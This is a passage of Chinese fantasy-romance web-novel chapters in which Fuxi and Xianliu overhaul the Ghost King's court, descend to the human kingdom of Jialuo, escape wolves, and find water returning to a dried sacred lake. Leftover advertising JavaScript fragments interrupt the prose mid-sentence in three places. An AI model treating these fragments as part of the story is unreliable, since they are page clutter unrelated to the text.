阳潢挪过来,凑到他耳边讲话:“你都被人家夸得快上天了,我能插得上什么话。”他啧啧两声,拍了拍阳迄的手臂,“兄长何须焦急,她回去说了,有我先前的吩咐,鬼王殿的人自有分寸。”他语气又加重几分,“就算是众人为他们所用,他们也捣腾不出来,别急了,再喝两口,来!” 有了阳潢这么一番剖析,阳迄放心不少,愈饮愈多,霎时间又想起来什么,拍桌而起:“遭了,公文之中偶涉冥界机密,不会都被他们看去了吧?” 阳潢将他按回座位:“兄长,我又不是蠢猪,自然会将该隐去的隐去,不该拿出来的定是锁好的。” 阳迄叹口气,心道也许是自己多年来精神时时紧绷,此刻忽然放松下来,脑子反而转不过来了。 “你派去监视他们的人,怎么还不来回禀?” 阳潢叹口气,堆积如山的公文,他们今日能理出来就不错了,更遑论在如此短的时间里改革,简直天方夜谭。 正欲再劝诫阳迄几句,“曹操”便到了。 “回禀殿下,扶西二人已经将公文全部整理完毕了。”他声音洪亮,虽带着些不敢相信,但还算镇定平稳。 “这么快?” “她发动了鬼王殿中的所有识字的人,以各色标签分识各类公务,军事民生财政分门别类,无有不清的。” 阳潢咳嗽两声,摆手道:“还以为怎样了,回去接着看,有事再来报。” 他又折过去开解阳迄:“兄长别急,这种小事简单的很,我们且喝酒听曲,难得放松,别搞得自己紧张兮兮的,玩归玩,做归做。” 阳迄认同地点点头,两人又对饮起来,推杯换盏之间,那人又来报了。 “他们为鬼王殿分设了许多不同的机构。” 阳迄若无其事地喝下面前的酒。 “他们重新编排了鬼王殿中的鬼兵。” 阳迄不耐烦地用指尖敲着桌面。 “他们重新任命了鬼王殿中的各个人手,高低不同,食禄也不同。” “他们说建议将阳潢殿下封作丞相。” “他们在刻鬼王专用玺印了!” 阳迄听到这里,拍桌起身:“不行,我得去看看!”他真怕一不留神,从这殿门出去,自己就不是鬼王了。 阳潢立时跟着他向外跑出去:“兄长,兄长等等我。” 阳迄大步流星来到鬼王宫殿群前,便被门口立着的两尊“活佛”惊了惊:“守在这里做什么?” 两人一齐抱拳,齐声道:“鬼王殿是冥界要地,我们本该把守。” 阳迄瞥了他们两眼:“天天守着累不累,下去吧。” 两人对视一眼,又齐声道:“殿下,恕我们不能从命。” “呵呵,如今,连我的话都不管用了?” 六界其他地方需要守军,约莫是担心宝物被盗,头子被杀。可他冥界穷得叮当响,鬼王殿中没有宝物可偷,连他们里头所有的人都是不必再死的鬼。 着人值守实在是没有必要。 “今日有新规下来,我们值守宫门的鬼兵由巡殿营管辖,任免都需要巡殿营的长官出具相应的文书,统一由任免官差的大人签署后送殿下批示,有人接管我们的工作后才可以离去。” 阳潢扁了扁嘴:“弯弯绕绕,啰里啰嗦,殿下让你们走就走,哪有那么多事。” 两人面面相觑:“若不得文书便擅离职守,是要罚俸的。”两人还保留了一些从前的散漫,“这些钱,二殿下您能补给我们吗?” 阳迄嫌弃地哎呀一声,摆摆手就要抬脚进去,却被鬼兵们拦在门口。 “出入宫殿,要出具相应的文书给我们勘验真伪,无误才可以进入。” 阳迄摊开手:“我呢?我也算在内吗?” 两个官兵面面相觑,抓耳挠腮:“按理说,我们都该听您的,可是您没有文书,不能放您进去。” “我回自己家?有问题?”阳迄咬牙切齿,一股气在胸腔里横冲直撞,极力忍耐着不挥拳头出来,“一个所谓的扶西大人,一天不到给你们训得这么听话?你们是狗啊?” 阳潢上来捂他嘴:“兄长,言重了。” 两个鬼兵耷拉着嘴角,似乎被伤到了。 “好了好了,算我言语有失,先让我进去。” 好说歹说,兄弟俩终于是进来了,谁料这里还立着一排人。 “大热天的,立在这里做什么?去去去,都散了。” “殿下,哦不,应称您为陛下才对。”有人上前来接应他,一面同他说话还一面翻着册子,“按规制,您的轿辇在前方,请随我来。” 阳迄急得像热锅上的蚂蚁,什么车不车,辇不辇的,快才是王道。 轿辇足有床榻那么大,围着纱幔,被简单装饰过,旁边候着至少二十人,阳迄急吼吼地窜进车中,阳潢紧随其后,却被不动声色地拉了下来。 “殿下,您的轿辇在后面。”鬼兵笑了笑,“原则上,除非陛下首肯,您是不能与他同乘的。” 阳潢算是切切实实体会到阳迄的焦急与无语了:“怎么那么啰嗦。”他弯腰进了辇中,却忽然发现这里被装饰得不错,淡淡的香气,行进时起的风冰冰凉凉,身下的软枕很契合他的身形,好生舒坦。 两人一前一后,在宫道上前进起来。 阳潢享受了会儿,又怕抬着轿辇的几个人累得慌,掀开纱幔想叫他们休息得了,却见众人都是用法术托着,一副十分新奇的模样。 终于来到正殿前,两人从轿辇上下来,望着眼前陌生又熟悉的宫殿,一时踌躇起来。 从前共事的伙伴们分立在两侧,站得笔直,见他来了,齐刷刷,乌泱泱地伏在地上。 “拜见陛下——” 阳迄愣了愣,陛下? 阳潢也是发愣的,他见众人都伏地跪拜,自己也是膝盖一软,扑通一声就跪了下去。 阳迄赶紧上前,将众人一一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 扶起来:“什么陛下不陛下,唤我殿下就好,太见外了……” 到阳潢这里,他恨铁不成地将他提溜起来:“你怎么也学着他们给我难堪?” “兄长,我也是情不自禁啊。”他委屈巴巴的,“毕竟,我只是一个不配与您同乘的,低贱的弟弟罢了。” 阳迄白了他一眼,而后阔步流星地走进殿内,只见扶西献流二人分立宝座两侧,见他进来,弯腰朝他一拜。 “见过陛下。” 他望着殿中立得整整齐齐的冥界官员,无奈地回想上一次这么整齐是什么时候? 好像是他娘陨落的时候…… “你们在干什么?”在这个空旷寂静的宫殿里,他莫名自觉地压低了声音。 献流回应:“这就是我答应您的事情。”言罢他将刻好的玉玺递过去。 “宫中一切事宜都安排完毕,您只要发号施令,就会有相应的官员出来处理。”献流一本正经。 阳迄颇有些探究地观察着献流的脸,总有些似曾相识的意味,却什么也说不出来:“你们的公文都批完了?” 献流与扶西对视一眼,点了点头:“一言既出,驷马难追,您答应放我们离开冥界的。” 鬼王扁了扁嘴,忽然站了起来,望着底下那些抓耳挠腮的官员:“你们都散了吧。” 大家伙面面相觑,思索了半晌终于在阳迄有些威胁的目光下按着顺序缓缓退出主殿。 “冥界众人自由散漫惯了,你这一套行不通。” “您还未试,如何知道行不通。” 阳迄霎时大倒苦水:“单就我进宫门这一步,就不行,罗里吧嗦,你们这是在为难人。” 扶西听到这里,终于逮到机会开口:“鬼王陛下也知道这是在为难人啊?那您对我们的为难怎么说?” 她上前几步,从未如此不畏强权:“是,卫和是魔界右护法,身份尊贵,您是冥界之主,说一不二,就我们两个是无名小卒,可以随意地被你们留下来为难,背锅,杀之而后快。” “我们知道,您是怕魔君后面追责,想留着我们给他个说法,知道您爱民如子,原来只爱自己的民啊?” 阳迄的心思就这样被扶西戳破,表情变得有些不自在:“我爱自己的民怎么了?” “就因为我二人非冥界中人,您就这样对我们,太不公平了。”她有些哽咽,“我们忙了一天,快累死了,您就来一句轻飘飘的行不通吗?这不公平!”言罢她轻声啜泣起来。 阳迄抿了抿唇,咬牙思索了半天,最后挤出几个字:“走吧,走吧快走吧。” 扶西听完一把丢掉手里头的顶天大芭蕉扇,一把紧紧握住阳迄的手:“这冥界人人都道鬼王仁慈和善,今日一见果然名不虚传!我愿意给您立牌位,日日焚香。” 阳迄惊讶于她过快的转变,连忙摆手:“不必,倒也不必。” 扶西再不敢耽搁了,她跳过宝座前的桌案,一把拉住献流的手,两人就开始往外卷烟尘一样狂奔。 “兄长,你就这么放走他们了?” 阳迄叹口气:“本也不是他们的错,我们这样做,确实不妥……” 阳潢清了清嗓子,凑近阳迄就是谄媚的笑:“不过那个轿辇挺舒服,你不要他们那套管理系统没事,把轿辇留下来,怎么样?” * 献流喘息粗气,身体涌上无尽的疲惫,太累了,怎么又累了呢。 不对,不对。 他反手抓住扶西的手腕:“不用跑了,他们不会追上来的。” 扶西点点头,缓缓停了下来,望着远方的落日:“又活一回,我真厉害。” “我得跟你谈谈。” 扶西转过头,只见献流的脸渐渐染上了不自然的红晕。 “谈吧。” 下一刻,他头顶的草芽晃晃悠悠地又长出来了。 献流抬手揉了揉眼睛,朝扶西走近几步,停在距离她一个拳头的位置。 “为什么,我又开始累了?” 扶西思索了会儿:“应该是你比较虚吧。” 他依旧用那种不加掩饰,甚至算得上纯粹的目光直梗梗地看着扶西,半晌不说话。 扶西忽然反应过来,指着他头上颤悠悠的小草:“我知道你要谈什么了?我也想谈!” 日落西山,天光似血。 献流忽然抓住了她的手腕,十分自然地向前走了一步,将头搁在了她的肩膀上。 “好累,给我靠一下。” 12. 怎么会有男人露出这样的表情? 扶西顿在那里,有些不知所措。 她一把将人推开,正欲拒绝他这个有些无礼的请求,却在看到献流那双泛着水光和充满不解的眼睛时犹豫了。 她起了一身鸡皮疙瘩,谁教你用这种眼神看着别人的?! 扶西其实隐隐发现应该是他头上的草在作祟,想到献流说的“谈谈”,她明白了个七八分。 可还是忍不住逗逗傻子,此贼看来极好面子,若见他明早羞愤撞柱,她又能看好戏了。 “你想好了?你真要靠着本山君休息?” 献流重重点头:“嗯。” 扶西眨巴眼睛,心道反正是问过了,再者这个状态下,她发号的施令此贼又不听。 献流言罢又要靠过来,扶西眼疾手快地用手掌挡住他的头顶。 献流不解,又用力往前冲了冲。 扶西左腿后撤一步,用力抵住献流的“进攻”。 直到献流头顶乱成鸡窝头,他才后知后觉地抬起头来:“你又骗我。” 扶西收回手掌,嘿嘿一笑,给他顺毛:“没有的事,你看我们都到这里了,先入人间为上,等到了人间你想怎样都可以。” 献流暗下去的眸子又亮起来:“真的?” 扶西偏过头,抬手指着尽头处的冥界边缘,从那里踏出去,就能进入人间。 加罗国,她来了! 五座山,她势在必得! * “两人行,这已经算是便宜的了,况且你们去的还是不怎么热门的加罗国。”守界官一脸嫌弃地打量着扶西二人。 衣裳破旧,风尘仆仆,额角还有汗水,看着也不像修为强悍的样子。 站在前头这绿衫姑娘脸颊有些瘦削,眼珠乌溜溜的,看着一派天真无邪,却是个难缠的主,开口就砍了一半的价,真是不可貌相。 “这冥界边缘做这生意的人可多了,你不做这门生意,我们找别人了。”扶西朝他抬了抬下巴,作势就要拉着献流去另外一处。 那守界官把剩下的瓜子往兜里一揣,扁着嘴朝两人摆手:“回来回来,我送你们走。” 扶西朝着献流一笑,忙不迭跟了过去。 “去倒也能去,就是落地的地方固定不了,但在加罗国境内还是能保证的。”守界官进入房内,划拉着手里的册子,手指轻点,房内兀的出现了一个五光十色的入口。 “拿来拿来,仙气拿来。” 扶西用肩膀碰了碰献流的手臂,下巴一指。 献流上前,那守界官挑虾线似的从他体内取出约定数量的仙气,一面嫌弃地化入体内一面道:“你们道行这样浅,还敢溜去人间,不担心回不来么?” 扶西叹口气:“我们是为了救人去的,要是到时候回不来,能联系上您吗?”她又凑上去,“这能不能包个来回啊?” 守界官摆摆手:“不成不成,我只能给你们送去人间,至于回来,得你们自己想办法了。” 言罢他将二人重重一推:“别啰嗦了,快去吧!” 扶西跌入五彩斑斓的迷幻入口中,脚底骤然腾空,她一双手下意识地在空中扑腾,不一会儿却落入一个温暖的掌心中。 下一瞬,腰间也被人扶住了。 她没来由地呼吸一滞,对上献流那张正气凛然的脸,心头涌上说不来的心虚。 “我可以抓紧你。” 他们在呼呼风声里下降,扶西耳边一片嘈杂,她只看见献流嘴唇启阖,却听不清他在说什么。 “你说什么?!”扶西拔高了声音。 献流亦然,他摇了摇头:“为什么?你不怕像方才那样跌倒吗?” 扶西实在听不清他在讲什么,干脆重重点点头敷衍得了。 谁料下一刻,献流在满脸的疑惑中轻轻放开了她。 气流力量极大,扶西又一次骤然脱力,加上如今仙法尽失,她面色惊恐,忍不住尖叫一声,最后一个尾音还没收回来,献流又将她搂了起来。 还是方才那个姿势。 扶西回过神来,心头涌起大大的怨气,好啊你个小贼,居然趁火打劫,欺负我这样一个堂堂的山君,过分! 她紧咬后牙,睁大眼睛盯着献流,企图在他脸上找出点幸灾乐祸的证据。 谁料献流这小贼真的勾起了唇角,似乎还想开口讲话。 反正也听不清,扶西一咬牙,小腿蓄足力气猛然上跳,像树袋熊一样挂在了献流身上,笑嘻嘻地露出两颗小虎牙。 献流被她挂了个猝不及防,身体的平衡瞬间被打破,两人在极速涌动的风中翻滚起来,尖叫声如浪花般一层叠一层。 “砰——” 两人撞破松林绿海,最后重重地砸在地上。 扶西先着的地,脑后却软乎乎的。 她扶着腰龇牙咧嘴地坐起来,却被面前团团围住她们的十几双绿色眼睛吓了一大跳。 “吼——” 声音低沉,应该是在警告他们。 扶西紧紧盯着面前不断逼近的绿色眼睛,一双手在地上不停地摸索,终于把献流也扯了起来。 “这是什么?”扶西大气都不敢喘。 献流吞了吞口水,下意识缓缓地站了起来,此时夜色正浓,他努力观察了半天。 “是,是狼!” 扶西也跳起来:“狼?” “对,狼。” “狼!” “嗷呜——” 真是狼! 扶西下意识抬手施法,想直接遁走,过了会儿才反应过来,连忙拉着献流在松林间奔跑起来。 “你,你能不能变个火把出来,不是说这些狼怕火吗?”扶西气喘吁吁,她这一整天,净在奔跑了,真是要命。 献流的声音却比她还要颤抖几分:“我,我试试?” 终于跑到一棵看着好爬一点的树下,扶西撸起袖子,环抱着树干就蹬靴子。 她眼角都被吓出泪来,抱着树干就开始胡言乱语:“松树大哥,大伯,爷爷!看在大家都是树的份儿上,您就救我一回吧!” “你伸半截枝条下来给我啊,我是树,你是树,常言道,树与树在外就要互相帮扶,这才是我族的生存之道嘛。” “咔咔咔——” “咚咚咚——” 扶西脑袋被树上落下来的雪球砸了三下,而后被刷拉拉掉下来的雪盖了满身。 “命途多舛——”扶西阖眼,无声地流泪。 有什么东西挠了挠她的手,扶西睁开眼,那树真的伸了条树杈下来,扶西喜极而泣,立时攀住枝条跃了过去。 “小贼!抓住我的手。”扶西心道自己可太仗义,太霸道了,真有范儿。 献流此时正被几只头狼逼到树下,望着它们的尖锐的牙齿和唇边的血渍,他胸腔中翻涌起来。 “啊——” “砰砰砰——”三四个火球瞬间在他掌心炸开,越扩越大,霎时将几只野狼包围起来,火花噼啪作响,窜得快有松树那么高了。 扶西悻悻地收回自己的手掌,对上献流那双有些闪躲的目光。 “你会法术?”扶西凑到他旁边,眼睛都快贴上他鼻梁了,“你之前怎么不说?” 献流嗫嚅两下:“我,我不知道。”他翻来覆去看着自己的手掌,似乎也有些不解。 扶西忍不住轻轻踹了踹他的脚尖:“你早说,我们还用这么狼狈?” “或许是渐渐恢复的?之前,不行。” 扶西懒得深究,她只知道这小贼后头再也没变出火球来过。 走出森林的时候,他朝前头的空气挥手掌。 “火球!” 藏在前往加罗国都城郊外的牛车时,他朝前头的空气挥手掌。 “火球!” 转了三趟马车,从别人运货的木桶里钻出来的时候,他朝前头的空气挥手掌。 “火球!” 立在加罗国都城“伽罗城”前方时,扶西总算松了一口气,她面无表情地包住献流那双不安分的手:“够了,先找个地方住下,明早起来还有一堆正事要办。” 献流回握她一下,收回了手掌。 * “住店不给钱?你们当我这里是做慈善的啊?”掌柜的挥了挥手绢,嫌弃地将两人赶了出去,“大晚上的,真 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 晦气。” 街道上越来越冷,扶西搓着臂膀,她从前在人间做什么都得心应手,没钱就变出来,刚刚蹭着别人的车奔波,过来住店又把这一茬忘了。 “你变点钱出来,试试?” 扶西望着献流的手掌,看样子其实这人的仙力也还有一些,说不定还能变出东西。 “钱,是什么?” 扶西撇了撇嘴,还真是不食人间烟火。 她连比带划地形容起来:“像个小船,银子做的,金子做的都有,还有铜板,圆圆的,中间有个孔,方便用线穿起来。” 献流却一脸懵逼地摇头:“想象不出来。”他尝试着变了变,没想到真变出东西来了。 可惜无一不是奇形怪状,根本用不了。 扶西嘴皮子快磨破了,她蹙着眉,望着献流的眼睛都快转八百圈了:“是这样,这种。”她拉过献流手掌,用手指在上头比划起来。 “怎么样?有没有一点画面了?”扶西抬眼,饱含期待地看着他。 献流抿唇敛着眼眸垂下头:“没有,你的手指是热的,掌心好痒。” 扶西愣了会儿,一股火气从脚底直冲天灵盖,抬手就往献流的头去。 “别打我。”献流眼疾手快地抓住她的手,“师父曾教诲,君子动口不动手。” 扶西这下彻底说不出话来了,她收回手臂,自嘲地笑了好几声,真是的,她定是命中有一劫,等她恢复了,非要给这人大卸八块。 “你好,可以让我看看你的钱长什么样子吗?” “你有病吧。” “我没有。” “你好,可以让我看看你的钱长什么样子吗?” “啪——” 献流捂着脸颊,眼神怔愣,火辣辣的感觉还是让他不解,不过是想看看这钱到底长什么样子,为什么打他呢。 扶西一把拉他过来:“大晚上的,这路上本就没什么人,你贸然上去,人家以为你是打劫的,不理你都是好的,这下好了吧,真挨打了。” 献流放下手,叹了口气:“对不起。” “我变不出钱。” 此时有个年纪轻轻的公子哥路过,他衣着光鲜,模样同加罗国人不大相似,反而更像中原人。 他观察两个人好久了,看他们窘迫的样子似乎心有所感,思来想去便递了几个碎银子过去。 “给你们了。”他微微笑着,“二位也是从中原来的吧?” 扶西愣愣地接过来:“多谢多谢。”她反应过来,立时咧嘴笑开,“是啊是啊,我们也是中原来的,路上遭了贼,盘缠都被抢去了。”言罢她垂下眼眸,塑造出几分可怜气来。 那人叹了口气:“都不容易,更何况还带着个生病的家人。”他拍了拍扶西的肩膀鼓励她,又向献流投去可怜的目光。 扶西笑容慢慢僵在脸上,等那人走远,终于舒了口气。 * 上次与床榻锦被的亲密接触是什么时候她都快记不清了,扶西蹭了蹭,满意地眯上眼睛。 谁料下一瞬,献流的声音就响了起来:“好冷,我想和你一起睡。” 扶西一骨碌爬起来,震惊地望着献流:“你不是睡在隔壁?况且我不是把你捆在榻上吗?你怎么解开的?” 献流闻言眉梢飞出一丝得意:“那个绳子捆不住我的。” 扶西十分嫌弃地摆摆手:“谁要跟你一起睡?你回去!” “我不想回去,那里冷冰冰的。”献流不由分说地挤进扶西的榻里,“还是你这里暖和。” “你答应过我,可以让我靠着你休息的。” “你又骗我。”说完这句,献流垂下头去,似乎衣裳也变得更灰败了,“你说到了人间,我想怎样都可以……” 扶西坐起来,看着他那双微微压低的眼睛,可谓是波光粼粼。 真是见鬼,怎么会有男人露出这样的表情? “要是你明早起来不后悔,你就尽管睡。”扶西只觉得自己累死了,懒得再同他理论,自觉地往墙边挪了一大截,留出位置。 床榻微微陷下去,扶西背后嗖嗖的凉意也消失殆尽。 13. 三百岁的师父 清晨鸟鸣阵阵,扶西缓缓睁开眼睛,伸了个懒腰,她坐起来活动脖子,昨夜睡得实在不怎么样。 她不习惯同陌生人一起睡觉,所以格外拘束,早起后四肢躯干都不太舒服。 床榻外侧已经空了,扶西用手掌探了探,还有余温,小贼应该起了没多久。 将屋内扫视一圈,果不其然,献流正站在靠门的墙角,用头抵着墙壁。 他头顶好像有朵正在淅淅沥沥落雨的乌云,时不时传来一两声叹息。 “成何体统,成何体统……” 扶西干脆利落起身洗漱穿衣,一面系着腰带一面拍了拍献流的肩膀。 “行了,一个大男人磨磨唧唧,今日不少正事要办,给我打起精神来。” 献流闻言缓缓转过来,他身形高大,只往那里一站就将扶西面前的光挡去了不少。 “对不住,我……”他嘴唇开阖,欲言又止,末了终于鼓起勇气看向扶西。 其实他醒了没多大一会儿,刚睁开眼睛时见到离他那么近的扶西,第一反应不是立即跳开,居然是在感叹这个时刻跳脱的人只有睡着的时候才安分些,然后是感慨怎么会近得能看清她脸上的绒毛,最后才是乒乒乓乓,惊吓过度地掉下床榻。 “我,我不是有意的。” 扶西见他这难得口齿不清的模样,按下腰带的最后一个扣子:“你也别太有心理负担,我经常与别人睡觉,你睡多了就好了。” 献流在心里头准备了许多的措辞,都在扶西说完这句话后烟消云散。 “经常?同别人睡觉?”他看着扶西那双多少有些不谙世事的眼睛,“你还跟谁睡过觉?” 扶西掰着手指数了数,最后摆摆手:“太多了,男女老少,天上飞的,地上跑的都有。” 献流只觉得喉咙里仿佛堵了一块看不见的石头,叫他讲不出话来。 半晌,他缓缓松开了紧捏着衣角的手。 “下次,我再这样,你把我打晕吧。”他抬起头,语调比方才低沉不少。 扶西点点头:“我知道,等入夜,我一定先把你打晕,才回来睡觉。”她拍拍胸脯,“放心,我会守护你的脸面的。” 她语气得意洋洋,眼睛亮得不像话。 扶西拍拍脑袋,忙着幸灾乐祸,差点把正事忘了。 “对了,之前跟你讲的还记得吗?此番入世,我二人扮作行走江湖的道士,我是你师父,你是我徒弟。” “那怎么行,我师父另有其人。”献流一听,只觉得大逆不道,下意识反驳。 “哦?”扶西又在他旁边绕圈,“那你师父是谁啊?” “是天……” “嗯?天什么?”扶西仰头看他,乌溜溜的眼珠子比方才还亮。 献流思来想去,在心中默念忏悔了几句,好不容易开口:“没,没什么。” 扶西扁了扁嘴,取出怀中昨日那人赠与的银子,还剩下不少,并着一些掌柜找零的铜板:“喏,这就是人间的钱,和冥界放仙气一样,用来买东西的。” “我出去买些东西,很快回来,你就留在这里多变些钱出来,别乱跑。”她忍不住多嘱咐几句,下意识把献流还当成昨日那个智力忽然低下的傻瓜。 献流:“嗯。” 扶西言罢就要出门,忽然又想到了什么又折回来,她站在献流面前打量了一会儿,一双手就这么自然而然朝着他的腰伸了过去。 献流如临大敌,下意识后退两步。 扶西不满地啧了一声:“别动!” 献流全身上下只剩一双眼珠子还能左右移动了,他眼看着扶西抬着一双手离自己的腰越来越近,心跳竟莫名其妙地快了起来。 这人,是要抱他么? 一个姑娘家,怎么能这么……主动…… 腰上传来布料摩擦的触感,献流垂眼,只见扶西两个手掌竖着放在他腰两侧,口中还念念有词。 “呦,你腰还挺细的。” 献流:…… 扶西又大致量了量他的肩宽,身高,解开定身时,献流的脸已经红得不成样子。 扶西嘲弄地看了他一眼,这才憋着笑阔步流星地出了门。 加罗国地处西域附近,国土面积不大,又临近沙漠,路上已经听很多人抱怨,很久没有下过雨了。 好在中原人几乎遍及各处,扶西找了半天,终于找到一家卖道士服的,拎着东西往回走时恰巧路过一处巨大的坑,旁边里三层外三层围了不少人。 扶西感受到怀里安阳老头的血似乎隐隐发热,心头一喜,连忙也跟着凑上去。 “这是在干什么?” 大坑外围是个高高的台子,三四个衣着奇异的男女在上头起舞,吟唱,燃起的火把窜得快有两个人那么高。 “祈雨啊。”旁边的人回过头来,见扶西容貌与他们不大相同,愣了愣,“你们中原没有这样的仪式吗?” 扶西咧嘴一笑:“也有,只是不太一样,我们不在这么大的坑前面作法。” 那人脸色一变,唇角拉了拉,就快哭出来了:“那不是坑!” “那是什么?”说是洞也不妥啊。 “那是我们的圣湖。” 扶西神色惊讶,她抬手指了指坑的中央:“湖?” “是啊,百年来,圣湖守护着加罗人,如今却骤然干涸,大家都急坏了,日夜焚香祈福,作法求雨。” “啊,我们伟大的母亲湖,您不要离开啊——” 不知是到了仪式的哪一步,熙熙攘攘的人群挪动起来,大家乌泱泱地跪了一地,扶西也顺势跟着跪了下来,学着她们的样子捂着胸口瞎念叨。 众人伏在地上时,扶西忍不住伸长脖子望向那个巨坑,中央隐约可见一个杯子一样的物什,被精致繁复的石台托举着。 “那又是什么?” “圣湖之眼,是圣湖水的来源。”那人说着说着抬手拭泪,“可惜十年前,它就不出水了。”似乎是说到了痛处,那人嚎哭起来,惹得旁边几个人也跟着他一起伤心。 扶西不动神色地收回安阳老头的琉璃瓶子,从后方悄悄地挪走,前头的人群还在唱着她听不懂的歌曲,扶西决议晚上再来探一探。 她在街市上缓慢挪动着,脑海中思绪翻飞,圣湖之眼?会跟红生有关系吗? “十公主!您别跑了——” 那被称作十公主的女子勒紧缰绳,回头答道:“父王这么快就要将我送去中原,我不去!” “这都是谣言!公主千万别误会了国主。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “公主!公主!小心啊——” 十公主将头扭正,却见飞速行进的马匹前方有个直愣愣的人影。 面前被巨大的阴影笼罩,听着马儿的响鼻,扶西这才后知后觉地回过神来。 扬起的尘土之间,马上的人衣裳缀满了金光闪闪的首饰,轻盈的面纱覆住口鼻,只露出一双深邃的浅蓝色眼睛,光芒耀眼甚至盖过了她身上的珠光宝气。 “快闪开!” 扶西再次回过神来,她方才居然看痴了,说时迟那时快,她立刻以最快的速度闪向道路一侧。 那被称作十公主的女子也在紧急关头勒住了马,马儿高高扬起的蹄子在半空中转了个弯,将将避开扶西。 扶西忍不住出言夸赞:“好厉害的马术!” 十公主跳下马背,昂首挺胸,笑容张扬:“那是自然,我们加罗人可是从小在马背上长大的。”言罢她朝扶西伸出手,“没事吧?” 扶西拍了拍身上的灰,握着她的手起身,嘿嘿笑了两声:“方才想事情,有些忘神了。” “下次可要注意,不是每次都有机会遇到我这样反应快的人。” 数十个随从哗啦啦涌上来:“公主,公主没事吧。” 还有数十个侍女挤上来,左右开弓将十公主围了个紧紧实实。 “公主,当街纵马不符国律,您还跟人家贫嘴。” “我,我……” “快跟我们回去吧,国主同王后快急死了。”侍女们乌泱泱地拢上来,丝毫不给她挣扎的机会,就将人塞进了轿辇中,以极快地速度往相反方向去了。 “唉,听说国主要将十公主送去中原和亲……”旁边有小摊贩开口,“也不知是真是假。” 扶西捡起散落在地的包袱,将露出的道士服衣角塞回去,速速赶回客栈。 献流还算听话,勤勤恳恳变出两箱铜板后仙力耗尽,就继续窝在墙角自闭,直到扶西回来才松动两分。 兜头就是一套新衣裳和扶西的声音:“试试合不合身。” 不等献流答话,她已经三下五除二换好了,拂尘一握,再装得高深莫测些,任谁也看不出端倪。 “你怎么不换?” 献流抓紧衣裳,一咬牙脱了外裳套着试了下。 竟刚刚好。 他脸上又浮现出不自然的红晕。 “叫声师父来听听。”扶西压低声音,拂尘一甩,看着还真像那么回事。 献流舌头不受控制,牙关紧咬着吐出几个字来,好像被逼得紧了:“师,师父。” 他心中填满愧疚,只觉得对不起天君极了。 “声音太小了听不清。” “师父!” 扶西被他忽然拔高的声音吓了一跳,而后十分受用地晃了晃脑袋。 “我看着比你大。”献流挣扎。 “那说明你道行不够,没有修得青春永驻。” “出去说你是我师父,可信度不大。”献流接着挣扎。 “无妨,若有人问起,你就说我已经三百岁了,凡人一般只活百岁,三百岁不是得道高人是什么?加上我芳龄永驻的模样,实在是有说服力。” “明白了吗?” 献流咬着牙点头:“嗯。” 14. 神仙来了 将近子时,扶西轻轻关好房门,一回头,却被立在门外的黑影吓了一跳。 “你怎么还在这里?”扶西本就不指望他,忽然反应过来,“等着我打晕你?” 献流摇了摇头。 扶西再看他头顶,并无草芽,整个人还是那副不近人情的模样,应该没变成傻子。 “你要去哪里?”他本是睡不着,难受得紧,出来外头吹风,就碰到蹑手蹑脚的扶西,看着就是又憋了一肚子坏水。 “你吹风?干嘛在我门口吹?” 献流眨了眨眼睛,立时扯开话头:“不需要帮忙吗?” 扶西懒得与他计较,大手一挥:“还不快跟上。” 门口的伙计正在柜台前头打瞌睡,隐约见到两个人影,立时口齿不清地招呼起来:“二位,夜深了,这是去哪里啊?” 扶西朝他微微一笑,煞有其事道:“月圆时分,我们出去吸收天地精华。” 伙计挠着头,不明所以,恰好来了两个住店的,他霎时清醒过来,又忙活去了。 “上房啊,有有有!” “我家主人用不惯你们的东西,全部换新。” “是是是,您尽管放心。” “主人,这边。” 扶西听着这声音有些耳熟,却未仔细探究,她还有更重要的事。 圣湖周围有士兵定时巡逻,整齐的脚步声和着哈欠声传入扶西耳中,她匿在枯乱的杂草后头,紧紧盯着湖心的石台。 她朝献流摆摆手,指着对面:“话说你现在能飞吗?” 献流垂眸:“唤不来云,体术倒是尚可。”他望着自己掌心,这段时日,他能感受到自己修为正在以极缓慢的速度恢复。 “走走走。”扶西自然而然地扯住他背后的衣裳,“去对面。” 献流听完不受控制地足尖轻点,雨燕般轻盈的身体略过湖边破烂的栈道,片刻以后停在湖心石台旁边。 约莫是之前隔得很远,以为这石台不过几尺,近了扶西才发现,自己仰着头,才将将看到石台顶上那个纹路不清的杯子。 扶西偏头去看献流。 献流不知怎的,竟能莫名其妙知晓她的意思,他做了会儿没什么实质的挣扎,最后缓缓蹲下身子。 扶西拍了拍他肩膀,十分满意地笑了声:“情势所迫,回去给你换套新衣服。”言罢她便踩了上去。 还算这小贼有眼色。 献流缓缓站起来,稳稳扶住扶西的脚踝,绕着石台避开巡逻士兵的目光。 就着月光,扶西仔细观察起这杯子的模样,大概人的脑袋那样大,外头的花纹显然是被雷电击打过的模样,黑糊黑糊的。 胸口的琉璃瓶子愈发热了,扶西取出来,将其与杯子靠得更近。 “咔咔——”石台上的杯子居然缓缓动了动。 扶西一喜,轻声道:“红生?” 杯子动的幅度更大了。 她立时抬手,一把抓住杯子就要往外拽。 可怜的红生,怎么被做成杯子了呢。 “是谁在那——” 一声长喝惊得扶西立时将手收了回来,湖岸上渐渐有火把聚集起来。 扶西缩起身子,献流半蹲着,两人具是屏气凝神。 扶西满脑子都是怕被发现,要是以前,她拽起杯子乘云而去,不仅不会被骂,留下的身影还能让人称一句“我看见神仙了!” 现下被发现,怕又是吃牢饭。 献流则是轻轻叹气,从前他做什么不是正大光明,如今竟也缩在这里蹑手蹑脚。 扶西听得清楚。 “你看错了吧?大晚上的,巫师们也都歇了。” “我看见两只猫叠在一起……” “哎呦,就圣湖现在的样子,里头出现什么都正常,除了鱼!” 话音刚落,他便亲眼看见身旁有一条鲤鱼跃起,落入水中时溅起的水滴凉得他一激灵。 “水?!” “是水!” “我真的没有看错,湖心有两个人!” 顺着同伴的手指,那士兵眼看着圣湖中央的杯子中有水喷涌而出,月光下的水波清晰可见。 他差点哭出来。 “天佑加罗——” “天佑加罗——” 湖边巡逻的士兵放下火把,一排排齐刷刷地跪下,嘴中不停地念叨着听不懂的咒文。 就在方才,扶西刚仰起头,便有一大股水从石台上倾泻而下,浇了她满身,而后是清晰可闻的呜咽。 